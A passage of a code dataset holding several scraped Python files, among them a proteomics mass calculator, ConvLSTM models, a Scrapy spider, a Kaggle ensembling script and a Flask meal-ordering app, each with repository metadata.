{}'.format(ion_type))\n\n mass += sum(mass_data[element][0][0] * num\n for element, num in icomp.items())\n\n if charge:\n mass = (mass + mass_data['H+'][0][0] * charge) / charge\n\n return mass\n\n\nclass Unimod():\n \"\"\"A class for Unimod database of modifications.\n The list of all modifications can be retrieved via `mods` attribute.\n Methods for convenient searching are `by_title` and `by_name`.\n For more elaborate filtering, iterate manually over the list.\n\n .. note::\n See :py:mod:`pyteomics.mass.unimod` for a new alternative class with\n more features.\n \"\"\"\n\n def __init__(self, source='http://www.unimod.org/xml/unimod.xml'):\n \"\"\"Create a database and fill it from XML file retrieved from `source`.\n\n Parameters\n ----------\n\n source : str or file, optional\n A file-like object or a URL to read from. Don't forget the ``'file://'``\n prefix when pointing to local files.\n \"\"\"\n from lxml import etree\n from ..xml import _local_name\n\n def process_mod(mod):\n d = mod.attrib\n new_d = {}\n for key in ('date_time_modified', 'date_time_posted'):\n new_d[key] = datetime.strptime(d.pop(key), '%Y-%m-%d %H:%M:%S')\n comp = Composition()\n for delta in self._xpath('delta', mod): # executed 1 time\n for key in ('avge_mass', 'mono_mass'):\n new_d[key] = float(delta.attrib.pop(key))\n for elem in self._xpath('element', delta):\n e_d = elem.attrib\n amount = int(e_d.pop('number'))\n label = e_d.pop('symbol')\n isotope, symbol = re.match(r'^(\\d*)(\\D+)$', label).groups()\n if not isotope:\n isotope = 0\n else:\n isotope = int(isotope)\n comp += Composition(formula=_make_isotope_string(symbol, isotope), mass_data=self._massdata) * amount\n new_d['composition'] = comp\n new_d['record_id'] = int(d.pop('record_id'))\n new_d['approved'] = d.pop('approved') == '1'\n new_d.update(d)\n spec = []\n for sp in self._xpath('specificity', mod):\n sp_d = sp.attrib\n sp_new_d = {}\n sp_new_d['hidden'] = (sp_d.pop('hidden') == '1')\n sp_new_d['spec_group'] = int(sp_d.pop('spec_group'))\n sp_new_d.update(sp_d)\n notes = []\n for note in self._xpath('*', sp):\n if note.text and note.text.strip():\n notes.append(note.text.strip())\n if notes:\n sp_new_d['note'] = '\\n'.join(notes)\n spec.append(sp_new_d)\n new_d['specificity'] = spec\n\n alt_names = []\n for alt_name in self._xpath('alt_name', mod):\n alt_names.append(alt_name.text)\n if alt_names:\n new_d['alt_names'] = alt_names\n\n refs = []\n for ref in self._xpath('xref', mod):\n ref_d = {}\n for sub in ref.iterchildren():\n ref_d[_local_name(sub)] = sub.text\n for key in ('text', 'source', 'url'):\n if key not in ref_d:\n ref_d[key] = None\n refs.append(ref_d)\n new_d['refs'] = refs\n return new_d\n\n if isinstance(source, str):\n self._tree = etree.parse(urlopen(source))\n else:\n self._tree = etree.parse(source)\n self._massdata = self._mass_data()\n self._mods = []\n self._id = {}\n for i, mod in enumerate(self._xpath('/unimod/modifications/mod')):\n mod_dict = process_mod(mod)\n self._mods.append(mod_dict)\n self._id[mod_dict['record_id']] = i\n\n def _xpath(self, path, element=None):\n from ..xml import xpath\n if element is None:\n return xpath(self._tree, path, 'umod')\n return xpath(element, path, 'umod')\n\n def _mass_data(self):\n massdata = defaultdict(dict)\n elements = [x.attrib for x in self._xpath('/unimod/elements/elem')]\n avg = {}\n for elem in elements:\n i, label = re.match(r'^(\\d*)(\\D+)$', elem['title']).groups()\n if not i:\n iso = 0\n else:\n iso = int(i)\n massdata[label][iso] = (float(elem['mono_mass']), float(iso == 0))\n if not iso:\n avg[label] = float(elem['avge_mass'])\n for elem, isotopes in massdata.items():\n isotopes[int(round(isotopes[0][0]))] = isotopes[0]\n if len(isotopes) == 3:\n m1, m2 = (x[1][0] for x in sorted(isotopes.items())[1:])\n m_avg = avg[elem]\n a = (m2 - m_avg) / (m2 - m1)\n b = (m_avg - m1) / (m2 - m1)\n for state, abundance in zip(sorted(isotopes)[1:], (a, b)):\n isotopes[state] = (isotopes[state][0], abundance)\n return massdata\n\n @property\n def mods(self):\n \"\"\"Get the list of Unimod modifications\"\"\"\n return self._mods\n\n @property\n def mass_data(self):\n \"\"\"Get element mass data extracted from the database\"\"\"\n return self._massdata\n\n def by_title(self, title, strict=True):\n \"\"\"Search modifications by title. If a single modification is found,\n it is returned. Otherwise, a list will be returned.\n\n Parameters\n ----------\n title : str\n The modification title.\n strict : bool, optional\n If :py:const:`False`, the search will return all modifications\n whose title **contains** `title`, otherwise equality is required.\n :py:const:`True` by default.\n\n Returns\n -------\n out : dict or list\n A single modification or a list of modifications.\n \"\"\"\n f = {True: operator.eq, False: operator.contains}\n func = f[strict]\n result = [m for m in self._mods if func(m['title'], title)]\n if len(result) == 1:\n return result[0]\n return result\n\n def by_name(self, name, strict=True):\n \"\"\"Search modifications by name. If a single modification is found,\n it is returned. Otherwise, a list will be returned.\n\n Parameters\n ----------\n name : str\n The full name of the modification(s).\n strict : bool, optional\n If :py:const:`False`, the search will return all modifications\n whose full name **contains** `title`, otherwise equality is\n required. :py:const:`True` by default.\n\n Returns\n -------\n out : dict or list\n A single modification or a list of modifications.\n \"\"\"\n f = {True: operator.eq, False: operator.contains}\n func = f[strict]\n result = [m for m in self._mods if func(m['full_name'], name)]\n if len(result) == 1:\n return result[0]\n return result\n\n def by_id(self, i):\n \"\"\"Search modifications by record ID. If a modification is found,\n it is returned. Otherwise, :py:exc:`KeyError` is raised.\n\n Parameters\n ----------\n i : int or str\n The Unimod record ID.\n\n Returns\n -------\n out : dict\n A single modification dict.\n \"\"\"\n if isinstance(i, str):\n i = int(i)\n return self._mods[self._id[i]]\n\n __getitem__ = by_id\n\n\ndef neutral_mass(mz, z, charge_carrier=_nist_mass[PROTON][0][0]):\n return (mz * abs(z)) - (z * charge_carrier)\n\n\ndef mass_charge_ratio(neutral_mass, z, charge_carrier=_nist_mass[PROTON][0][0]):\n return (neutral_mass + (z * charge_carrier)) / abs(z)\n","repo_name":"levitsky/pyteomics","sub_path":"pyteomics/mass/mass.py","file_name":"mass.py","file_ext":"py","file_size_in_byte":46256,"program_lang":"python","lang":"en","doc_type":"code","stars":94,"dataset":"github-code","pt":"54"} +{"seq_id":"40041100626","text":"from data_manager import DataManager\n\ndata_manager = DataManager()\n\nclass UserManagement:\n def __init__(self):\n self.first_name: str = None\n self.last_name: str = None\n self.email: str = None\n\n def add_user(self):\n self.first_name = input(\"Enter First Name: \")\n self.last_name = input(\"Enter Last Name: \")\n self.email = input(\"Enter email:\")\n data = {\n \"firstName\": self.first_name,\n \"lastName\": self.last_name,\n \"email\": self.email\n }\n\n data_manager.post_row_data(sheet=\"users\", data=data)\n\n\n def get_all_users(self):\n all_user = data_manager.get_rows(sheet=\"users\")\n return all_user\n","repo_name":"saif14/PythonPracticeProjects","sub_path":"FlightManagerProj/user_management.py","file_name":"user_management.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"9916947328","text":"import torch.nn as nn\nimport numpy as np\nimport torch\n\nfrom collections import OrderedDict\n\n\nclass CGRU_cell(nn.Module):\n \"\"\"\n ConvGRU Cell\n \"\"\"\n\n def __init__(self, shape, input_channels, filter_size, num_features):\n super(CGRU_cell, self).__init__()\n self.shape = shape\n self.input_channels = input_channels\n # kernel_size of input_to_state equals state_to_state\n self.filter_size = filter_size\n self.num_features = num_features\n self.padding = (filter_size - 1) // 2\n self.conv1 = nn.Sequential(\n nn.Conv2d(\n self.input_channels + self.num_features, 2 * self.num_features, self.filter_size, 1, self.padding\n ),\n nn.GroupNorm(2 * self.num_features // 16, 2 * self.num_features),\n # nn.BatchNorm2d(2 * self.num_features),\n )\n self.conv2 = nn.Sequential(\n nn.Conv2d(self.input_channels + self.num_features, self.num_features, self.filter_size, 1, self.padding),\n nn.GroupNorm(self.num_features // 16, self.num_features),\n # nn.BatchNorm2d(self.num_features),\n )\n\n def forward(self, inputs=None, hidden_state=None, seq_len=10):\n # seq_len=10 for moving_mnist\n if hidden_state is None:\n htprev = torch.zeros(inputs.size(0), self.num_features, self.shape[0], self.shape[1]).to(inputs.device)\n else:\n htprev = hidden_state\n output_inner = []\n for index in range(seq_len):\n if inputs is None:\n x = torch.zeros(htprev.size(0), self.input_channels, self.shape[0], self.shape[1]).to(htprev.device)\n else:\n x = inputs[:, index, ...]\n\n combined_1 = torch.cat((x, htprev), 1) # X_t + H_t-1\n gates = self.conv1(combined_1) # W * (X_t + H_t-1)\n\n zgate, rgate = torch.split(gates, self.num_features, dim=1)\n # zgate, rgate = gates.chunk(2, 1)\n z = torch.sigmoid(zgate)\n r = torch.sigmoid(rgate)\n\n combined_2 = torch.cat((x, r * htprev), 1) # h' = tanh(W*(x+r*H_t-1))\n ht = self.conv2(combined_2)\n ht = torch.tanh(ht)\n htnext = (1 - z) * htprev + z * ht\n output_inner.append(htnext)\n htprev = htnext\n\n return torch.stack(output_inner, dim=1), htnext\n\n\nclass CLSTM_cell(nn.Module):\n \"\"\"ConvLSTMCell\n \"\"\"\n\n def __init__(self, shape, input_channels, filter_size, num_features):\n super(CLSTM_cell, self).__init__()\n\n self.shape = shape # H, W\n self.input_channels = input_channels\n self.filter_size = filter_size\n self.num_features = num_features\n # in this way the output has the same size\n self.padding = (filter_size - 1) // 2\n self.conv = nn.Sequential(\n nn.Conv2d(\n self.input_channels + self.num_features, 4 * self.num_features, self.filter_size, 1, self.padding\n ),\n nn.GroupNorm(4 * self.num_features // 32, 4 * self.num_features),\n )\n\n def forward(self, inputs=None, hidden_state=None, seq_len=10):\n # seq_len=10 for moving_mnist\n if hidden_state is None:\n hx = torch.zeros(inputs.size(0), self.num_features, self.shape[0], self.shape[1]).to(inputs.device)\n cx = torch.zeros(inputs.size(1), self.num_features, self.shape[0], self.shape[1]).to(inputs.device)\n else:\n hx, cx = hidden_state\n output_inner = []\n for index in range(seq_len):\n if inputs is None:\n x = torch.zeros(hx.size(0), self.input_channels, self.shape[0], self.shape[1]).to(hx.device)\n else:\n x = inputs[:, index, ...]\n\n combined = torch.cat((x, hx), 1)\n gates = self.conv(combined) # gates: S, num_features*4, H, W\n # it should return 4 tensors: i,f,g,o\n ingate, forgetgate, cellgate, outgate = torch.split(gates, self.num_features, dim=1)\n ingate = torch.sigmoid(ingate)\n forgetgate = torch.sigmoid(forgetgate)\n cellgate = torch.tanh(cellgate)\n outgate = torch.sigmoid(outgate)\n\n cy = (forgetgate * cx) + (ingate * cellgate)\n hy = outgate * torch.tanh(cy)\n output_inner.append(hy)\n hx = hy\n cx = cy\n return torch.stack(output_inner, axis=1), (hy, cy)\n\n\ndef make_layers(block):\n layers = []\n for layer_name, v in block.items():\n if \"deconv\" in layer_name:\n upsample = nn.Upsample(mode=\"nearest\", scale_factor=2)\n layers.append((\"upsample_\" + layer_name, upsample))\n conv2d = nn.Conv2d(in_channels=v[0], out_channels=v[1], kernel_size=v[2], stride=v[3], padding=v[4])\n layers.append((\"conv_\" + layer_name, conv2d))\n if \"relu\" in layer_name:\n layers.append((\"relu_\" + layer_name, nn.ReLU(inplace=True)))\n elif \"leaky\" in layer_name:\n layers.append((\"leaky_\" + layer_name, nn.LeakyReLU(negative_slope=0.2, inplace=True)))\n elif \"conv\" in layer_name:\n conv2d = nn.Conv2d(in_channels=v[0], out_channels=v[1], kernel_size=v[2], stride=v[3], padding=v[4])\n layers.append((layer_name, conv2d))\n if \"relu\" in layer_name:\n layers.append((\"relu_\" + layer_name, nn.ReLU(inplace=True)))\n elif \"leaky\" in layer_name:\n layers.append((\"leaky_\" + layer_name, nn.LeakyReLU(negative_slope=0.2, inplace=True)))\n\n elif \"pool\" in layer_name:\n layer = nn.MaxPool2d(kernel_size=v[0], stride=v[1], padding=v[2])\n layers.append((layer_name, layer))\n else:\n raise NotImplementedError\n\n return nn.Sequential(OrderedDict(layers))\n\n\nclass Encoder(nn.Module):\n def __init__(self, subnets, rnns):\n super().__init__()\n assert len(subnets) == len(rnns)\n\n self.blocks = len(subnets)\n\n for index, (params, rnn) in enumerate(zip(subnets, rnns), 1):\n setattr(self, \"stage\" + str(index), make_layers(params))\n setattr(self, \"rnn\" + str(index), rnn)\n\n def forward_by_stage(self, input, subnet, rnn):\n b, t, c, h, w = input.size()\n input = torch.reshape(input, (-1, c, h, w))\n input = subnet(input)\n input = torch.reshape(input, (b, t, input.size(1), input.size(2), input.size(3)))\n outputs_stage, state_stage = rnn(input, None)\n\n return outputs_stage, state_stage\n\n # input: 5D B*T*C*H*W\n def forward(self, input):\n hidden_states = []\n\n for i in range(1, self.blocks + 1):\n input, state_stage = self.forward_by_stage(\n input, getattr(self, \"stage\" + str(i)), getattr(self, \"rnn\" + str(i))\n )\n hidden_states.append(state_stage)\n return tuple(hidden_states)\n\n\nclass Forecaster(nn.Module):\n def __init__(self, subnets, rnns):\n super().__init__()\n assert len(subnets) == len(rnns)\n\n self.blocks = len(subnets)\n\n for index, (params, rnn) in enumerate(zip(subnets, rnns)):\n setattr(self, \"rnn\" + str(self.blocks - index), rnn)\n setattr(self, \"stage\" + str(self.blocks - index), make_layers(params))\n\n def forward_by_stage(self, input, state, subnet, rnn):\n input, _ = rnn(input, state, seq_len=6)\n b, t, c, h, w = input.size()\n input = torch.reshape(input, (-1, c, h, w))\n input = subnet(input)\n input = torch.reshape(input, (b, t, input.size(1), input.size(2), input.size(3)))\n\n return input\n\n def forward(self, hidden_states):\n\n input = self.forward_by_stage(None, hidden_states[-1], getattr(self, \"stage4\"), getattr(self, \"rnn4\"))\n for i in list(range(1, self.blocks))[::-1]:\n input = self.forward_by_stage(\n input, hidden_states[i - 1], getattr(self, \"stage\" + str(i)), getattr(self, \"rnn\" + str(i))\n )\n return input\n\n\nclass EF(nn.Module):\n def __init__(self, encoder, forecaster):\n super().__init__()\n self.encoder = encoder\n self.forecaster = forecaster\n\n def forward(self, input):\n state = self.encoder(input)\n output = self.forecaster(state)\n return output\n\n\n# convlstm_encoder_params = [\n# [\n# OrderedDict({\"conv1_leaky_1\": [8, 32, 3, 1, 1], \"pool_2\": [2, 2, 1]}),\n# OrderedDict({\"conv2_leaky_1\": [64, 192, 3, 1, 1], \"pool_2\": [2, 2, 1]}),\n# OrderedDict({\"conv3_leaky_1\": [192, 192, 3, 1, 1], \"pool_2\": [2, 2, 1]}),\n# ],\n# [\n# ConvLSTM(\n# input_channel=32, num_filter=64, b_h_w=(config[\"batch_size\"], 64, 64), kernel_size=3, stride=1, padding=1\n# ),\n# ConvLSTM(\n# input_channel=192, num_filter=192, b_h_w=(config[\"batch_size\"], 32, 32), kernel_size=3, stride=1, padding=1\n# ),\n# ConvLSTM(\n# input_channel=192, num_filter=192, b_h_w=(config[\"batch_size\"], 16, 16), kernel_size=3, stride=1, padding=1\n# ),\n# ],\n# ]\n\n# convlstm_forecaster_params = [\n# [\n# OrderedDict({\"deconv1_leaky_1\": [192, 192, 3, 1, 1]}),\n# OrderedDict({\"deconv2_leaky_1\": [192, 64, 3, 1, 1]}),\n# OrderedDict(\n# {\"deconv3_leaky_1\": [64, 32, 3, 1, 1], \"conv3_leaky_2\": [32, 16, 3, 1, 1], \"conv3_3\": [16, 8, 1, 1, 0]}\n# ),\n# ],\n# [\n# ConvLSTM(\n# input_channel=192, num_filter=192, b_h_w=(config[\"batch_size\"], 16, 16), kernel_size=3, stride=1, padding=1\n# ),\n# ConvLSTM(\n# input_channel=192, num_filter=192, b_h_w=(config[\"batch_size\"], 32, 32), kernel_size=3, stride=1, padding=1\n# ),\n# ConvLSTM(\n# input_channel=64, num_filter=64, b_h_w=(config[\"batch_size\"], 64, 64), kernel_size=3, stride=1, padding=1\n# ),\n# ],\n# ]\n\nif __name__ == \"__main__\":\n from config import config\n\n encoder = Encoder(convlstm_encoder_params[0], convlstm_encoder_params[1]).to(config[\"device\"])\n forecaster = Forecaster(convlstm_forecaster_params[0], convlstm_forecaster_params[1]).to(config[\"device\"])\n encoder_forecaster = EF(encoder, forecaster).to(config[\"device\"])\n\n input_x = torch.rand((4, 12, 8, 128, 128))\n out = encoder_forecaster(input_x)\n\n print(out.shape)\n","repo_name":"hongyeehh/traffic4cast2020","sub_path":"multiLSTM/convLSTM.py","file_name":"convLSTM.py","file_ext":"py","file_size_in_byte":10373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30496270405","text":"import re\nimport scrapy\nfrom ..items import EkadasiItem\nfrom .helpers import MONTH_2_NUMBER\n\n\nclass EkadasiSpider(scrapy.Spider):\n\n name = \"ekadasi_spider\"\n \n start_urls = [\n \"https://www.drikpanchang.com/vrats/ekadashidates.html?geoname-id=3530597\"\n ]\n\n\n def parse(self, response):\n \n event_card = response.selector.css(\"div.dpEventCard\")\n\n for event in event_card:\n\n date = event.css(\"div.dpEventDateTitle::text\").get().split(\",\")\n month, day = date[0].split()\n year = date[1].strip()\n name = event.css(\"div.dpEventCardInfoTitle::text\").get()\n starts = re.findall(\"\\d\\d:\\d\\d\", event.css(\"div::text\")[-4].get())[0]\n ends = re.findall(\"\\d\\d:\\d\\d\", event.css(\"div::text\")[-2].get())[0]\n\n month = MONTH_2_NUMBER[month]\n\n event_date = f\"{year}-{month}-{day}\"\n\n ekadashi_item = EkadasiItem(\n name = name,\n description = \"\",\n country = \"Mexico\",\n event_date = event_date,\n starts = starts,\n ends = ends\n )\n\n yield ekadashi_item","repo_name":"daniel-sjkdm/VaishnavismScrapper","sub_path":"vaishnavism/vaishnavism/spiders/ekadasiSpider.py","file_name":"ekadasiSpider.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73435616483","text":"from torch import nn\nfrom torchsummary import summary\nfrom torchvision import models\n\nfrom config import device\n\n\nclass Flatten(nn.Module):\n def forward(self, x):\n batch_size = x.shape[0]\n return x.view(batch_size, -1)\n\n\nclass DeepIQAModel(nn.Module):\n def __init__(self):\n super(DeepIQAModel, self).__init__()\n resnet = models.resnet50(pretrained=True)\n # Remove linear layer\n modules = list(resnet.children())[:-1]\n self.model = nn.Sequential(*modules,\n Flatten(),\n nn.Dropout(0.5),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Linear(2048, 1),\n nn.Sigmoid(),\n )\n\n def forward(self, images):\n x = self.model(images) # [N, 2048, 1, 1]\n return x\n\n\nif __name__ == \"__main__\":\n model = DeepIQAModel().to(device)\n summary(model, input_size=(3, 224, 224))\n","repo_name":"foamliu/DeepRankIQA","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"2314595822","text":"class Solution(object):\n def canCompleteCircuit(self, gas, cost):\n \"\"\"\n :type gas: List[int]\n :type cost: List[int]\n :rtype: int\n \"\"\"\n n = len(gas)\n \n total_tank = 0\n curr_tank = 0\n starting_station = 0\n \n for i in range(n):\n total_tank += gas[i]-cost[i]\n curr_tank += gas[i]-cost[i]\n # if the current tank is negative means, one cannot get to the next stop \n # so the current station cannot be the starting point \n if curr_tank < 0:\n starting_station = i+1\n curr_tank = 0\n \n # if total tank is negative means the total cost > total gas available so making the trip is impossible\n return -1 if total_tank < 0 else starting_station","repo_name":"iamabhishek98/leetcode_solutions","sub_path":"gas-station/gas-station.py","file_name":"gas-station.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30940098880","text":"def solution():\n \"\"\"_summary_\n\n Returns:\n _type_: _description_\n \"\"\"\n tNum = 1\n i = 1\n\n while True:\n i += 1\n tNum += i\n if divisor_count(tNum) > 500:\n break\n\n return tNum\n\n\ndef divisor_count(n):\n \"\"\"_summary_\n\n Args:\n n (_type_): _description_\n\n Returns:\n _type_: _description_\n \"\"\"\n i = 2\n count = 1\n while i * i <= n:\n multiplicity = 0\n while n % i == 0:\n n //= i\n multiplicity += 1\n count *= multiplicity + 1\n i += 1\n if n > 1:\n count *= 2\n return count\n\n\nif __name__ == \"__main__\":\n print(solution())\n # print(divisor_count(25))\n","repo_name":"noahlias/project_euler","sub_path":"solution_1_100/problem12.py","file_name":"problem12.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"2446115235","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n# For example, here's several helpful packages to load in \n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n# Input data files are available in the \"../input/\" directory.\n# For example, running this (by clicking run or pressing Shift+Enter) will list all files under the input directory\n\nimport os\nfor dirname, _, filenames in os.walk('/kaggle/input'):\n for filename in filenames:\n print(os.path.join(dirname, filename))\n\n# Any results you write to the current directory are saved as output.\n\n# This Python 3 environment comes with many helpful analytics libraries installed\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n# For example, here's several helpful packages to load in \n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n# Input data files are available in the \"../input/\" directory.\n# For example, running this (by clicking run or pressing Shift+Enter) will list all files under the input directory\n\nimport os\nfor dirname, _, filenames in os.walk('/kaggle/input'):\n for filename in filenames:\n print(os.path.join(dirname, filename))\n\n# Any results you write to the current directory are saved as output.\n\n# General imports\nimport pandas as pd\nimport os, sys, gc, warnings\n\nwarnings.filterwarnings('ignore')\n\n#################################################################################\n## PLEASE UPVOTE THIS kernel ##\n#################################################################################\n\n########################### DATA LOAD/MIX/EXPORT\n#################################################################################\n\n\n\n# Check you data output from different models and submission\n# Note: This is example, no private data included (and only few samples)\n# As example I put output from this kernel repeated 5 times, so that submission_N_SCORE.csv\n# https://www.kaggle.com/roydatascience/light-gbm-with-complete-eda\n# Please upvote it.\n# Thus, put your output submissions' data or from others (in .csv), as more as you wish as soon as it gives better score. \n#!ls ../input/modelsdata\n#!ls ../input/\n#!ls ../input/modelsdata -1 | wc -l\n\nsuball = []\n\nimport glob\nprint(glob.glob(\"../input/yourallmodelsdata/*.csv\"))\n\nll = len(glob.glob(\"../input/yourallmodelsdata/*.csv\"))\nprint(ll)\n\nfor ii in range(0,ll):\n print(ii)\n #print(glob.glob(\"../input/modelsdata/*.csv\")[0])\n suball.append(glob.glob(\"../input/yourallmodelsdata/*.csv\")[ii])\n \nprint(suball)\n\ntot = 0\n# 40:46 -> we take submission value from SCORE in name of the file (you name it by yourself of course)\n# Thus, check this depending of which name you give and which path is used\nfor i in range(0,ll):\n #print(suball[i][40:46])\n tot += float(suball[i][40:46])\n \nprint(\"SUM: \",tot) # sum all, later to divide on it and get weights for each submission value\n\n\ndf_suball = []\nfor i in range(0,ll):\n df_suball.append(0)\nfor i in range(0,ll):\n df_suball[i] = pd.read_csv(glob.glob(\"../input/yourallmodelsdata/*.csv\")[i])\n \nprint(df_suball[0])\n\n## Weights with respect to submission score\nfor i in range(1,ll):\n print(suball[i][40:46]) # for check 0.XXXX value should be\n df_suball[0]['isFraud'] += (float(suball[i][40:46])/tot)*df_suball[i]['isFraud']\n \n## add one other nice kernel output\n#!ls ../input/\ndf_subA = pd.read_csv(\"../input/gmean-of-low-correlation-lb-0-952x/stack_gmean.csv\")\n# go\ndf_suball[0]['isFraud'] += df_subA['isFraud']\n\ndf_suball[0].to_csv('submissionROW.csv', index=False)","repo_name":"sajedjalil/Data-Science-Pipeline-Detector","sub_path":"dataset/ieee-fraud-detection/Mukharbek Organokov/ieee-push-0-9530-all-weighted.py","file_name":"ieee-push-0-9530-all-weighted.py","file_ext":"py","file_size_in_byte":3823,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"54"} +{"seq_id":"24815931896","text":"#!/usr/bin/env python3\n__author__ = 'Morteza Ramezani'\n\nimport os\nimport re\nimport sys\nimport argparse\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt # matplotlib inline\nimport pickle\n\nimport sklearn\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score, confusion_matrix\nfrom sklearn.svm import SVC, LinearSVC\n\n\ndef plot_confusion_matrix(y_true, y_pred):\n cm_array = confusion_matrix(y_true, y_pred)\n true_labels = np.unique(y_true)\n pred_labels = np.unique(y_pred)\n plt.imshow(cm_array[:-1, :-1], interpolation='nearest', cmap=plt.cm.Blues)\n plt.title(\"Confusion matrix\", fontsize=16)\n cbar = plt.colorbar(fraction=0.046, pad=0.04)\n cbar.set_label('Number of images', rotation=270, labelpad=30, fontsize=12)\n xtick_marks = np.arange(len(true_labels))\n ytick_marks = np.arange(len(pred_labels))\n plt.xticks(xtick_marks, true_labels, rotation=90)\n plt.yticks(ytick_marks, pred_labels)\n plt.tight_layout()\n plt.ylabel('True label', fontsize=14)\n plt.xlabel('Predicted label', fontsize=14)\n fig_size = plt.rcParams[\"figure.figsize\"]\n fig_size[0] = 12\n fig_size[1] = 12\n plt.rcParams[\"figure.figsize\"] = fig_size\n plt.show()\n\n\ndef main():\n # features = pickle.load(open('features55', 'rb'))\n # labels = pickle.load(open('labels', 'rb'))\n # X_train, X_test, y_train, y_test = train_test_split(\n # features, labels, test_size=0.2, random_state=42)\n\n X_train = pickle.load(open('./results/features55', 'rb'))\n y_train = pickle.load(open('./results/labels55', 'rb'))\n\n X_test = pickle.load(open('./results/features_test', 'rb'))\n y_test = pickle.load(open('./results/labels_test', 'rb'))\n\n clf = LinearSVC(C=1.0, loss='squared_hinge',\n penalty='l2', multi_class='ovr')\n clf.fit(X_train, y_train)\n y_pred = clf.predict(X_test)\n\n # count = 0\n # for idx, y in enumerate(y_pred):\n # if y_test[idx] == y:\n # count += 1\n # print(count, len(y_pred), count / len(y_pred) * 1.0)\n\n print(\"Accuracy: {0:0.1f}%\".format(accuracy_score(y_test, y_pred) * 100))\n np.save('./results/svm_test_res', y_test)\n np.save('./results/svm_pred_res', y_pred)\n\n # plot_confusion_matrix(y_test, y_pred)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"zuh17h/computer_vision_project","sub_path":"p2src/svm_classify.py","file_name":"svm_classify.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"14325217108","text":"from datetime import datetime\n\nimport sqlalchemy\nfrom flask import render_template, redirect, session, request, abort, current_app\nfrom flask_login import login_user, login_required, logout_user, current_user, AnonymousUserMixin\nfrom flask_login.config import EXEMPT_METHODS\nfrom sqlalchemy import text\nfrom werkzeug.security import check_password_hash, generate_password_hash\nfrom functools import wraps\n\nfrom sweater import app, login_manager, db, queue\nfrom sweater.models import User, Dish, Order\n\n\ndef decode_order(s):\n if not s.isnumeric():\n raise ValueError(\"Order string must only contain digits!\")\n\n ids = []\n for i in range(0, len(s), 2):\n ids.append((int(s[i: i + 2])))\n\n return [Dish.query.filter_by(id=i).first() for i in ids]\n\n\ndef encode_order(dishes):\n res = \"\"\n for dish in dishes:\n res += str(dish.id).zfill(2)\n\n return res\n\n\ndef login_and_perms_required(perms):\n def wrapper(func):\n @wraps(func)\n def decorated_view(*args, **kwargs):\n if request.method in EXEMPT_METHODS or current_app.config.get(\"LOGIN_DISABLED\"):\n pass\n elif not current_user.is_authenticated:\n return login_manager.unauthorized()\n elif current_user.permissions != perms:\n return login_manager.unauthorized()\n\n # flask 1.x compatibility\n # current_app.ensure_sync is only available in Flask >= 2.0\n if callable(getattr(current_app, \"ensure_sync\", None)):\n return current_app.ensure_sync(func)(*args, **kwargs)\n return func(*args, **kwargs)\n\n return decorated_view\n\n return wrapper\n\n\n@app.route(\"/no-permissions\")\ndef no_perms():\n return render_template(\"no_perms.html\")\n\n\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login_page():\n if not current_user.is_authenticated:\n if request.method == \"POST\":\n login = request.form.get(\"login\")\n password = request.form.get(\"password\")\n user = User.query.filter_by(login=login).first()\n if user:\n print(\"found user\")\n if check_password_hash(user.password, password):\n login_user(user)\n print(\"logged in\")\n return redirect(\"/\")\n\n return render_template(\"login.html\")\n print(current_user)\n return redirect(\"/\")\n\n\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\n@login_required\ndef hub():\n if current_user.permissions == \"administrator\":\n return redirect(\"/admin_menu\")\n elif current_user.permissions == \"staff\":\n return redirect(\"/staff_menu\")\n elif current_user.permissions == \"student\":\n return redirect(\"/home\")\n\n raise ValueError(f\"User {current_user.login} has unknown permissions!\")\n\n\n@app.route(\"/home\", methods=[\"GET\", \"POST\"])\n@login_and_perms_required(\"student\")\ndef home():\n current_orders = sorted(Order.query.filter_by(state=\"active\", user_id=current_user.id), key=lambda i: i.date)\n return render_template(\"menu_stud.html\", balance=current_user.balance, orders=current_orders)\n\n\n@app.route(\"/home/order-\")\n@login_required\ndef show_order(order_id):\n order = Order.query.filter_by(id=order_id).first()\n if order.user_id != current_user.id and current_user.permissions not in {\"administrator\", \"staff\"}:\n return no_perms\n\n dishes = decode_order(order.dishes)\n cost = sum(map(lambda i: i.price, dishes))\n return render_template(\"order_view.html\", id=order_id, cost=cost, dishes=dishes, state=order.state)\n\n\n@app.route(\"/home/add-order\", methods=[\"POST\", \"GET\"])\n@login_and_perms_required(\"student\")\ndef add_order():\n if session.get(\"new_order_dishes\") is None:\n dishes = []\n else:\n dishes = [Dish.query.filter_by(id=id).first() for id in session.get(\"new_order_dishes\")]\n\n return render_template(\n \"add_order.html\",\n dishes=dishes,\n cost=sum(map(lambda i: i.price, dishes))\n )\n\n\n@app.route(\"/home/order-/delete\")\ndef delete_order(order_id):\n order = Order.query.filter_by(id=order_id).first()\n order.state = \"closed\"\n db.session.commit()\n return 